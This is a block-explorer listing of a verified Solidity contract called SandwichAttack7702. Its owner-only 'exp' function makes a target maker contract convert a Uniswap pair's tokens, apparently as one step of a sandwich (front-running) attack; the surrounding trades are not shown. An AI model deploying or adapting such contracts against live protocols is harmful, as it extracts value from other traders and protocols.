Skip to content
Verified contractPartialMIT

SandwichAttack7702

Address0xae0de293c11365f2d658f4e665afa2aaab6c2cb1
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.12

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.12+commit.f00d7308
Language
solidity
Optimization
No
License
MIT
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,191,574
Creation transaction
0x936fad355a…436113f4fe

SandwichAttack7702.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;

interface IERC20 {
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function approve(address spender, uint amount) external returns (bool);
}

interface IUniswapV2Pair {
    function token0() external view returns (address);
    function token1() external view returns (address);
}

interface ITarget {
    function convert(address token0, address token1) external;
}




contract SandwichAttack7702 {
    modifier onlyOwner() {
        require(
            tx.origin == address(this) || msg.sender == 0x81Bb73124d0ec9926491Ffc8bed667BE6B6C6187,
            "caller is not the owner"
        );
        _;
    }

    function exp(
        address MAKER,
        address PAIR
    ) external onlyOwner {
       
       ITarget(MAKER).convert(IUniswapV2Pair(PAIR).token0(), IUniswapV2Pair(PAIR).token1());
      
       
    }

    
    receive() external payable {}
    fallback() external payable {}
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.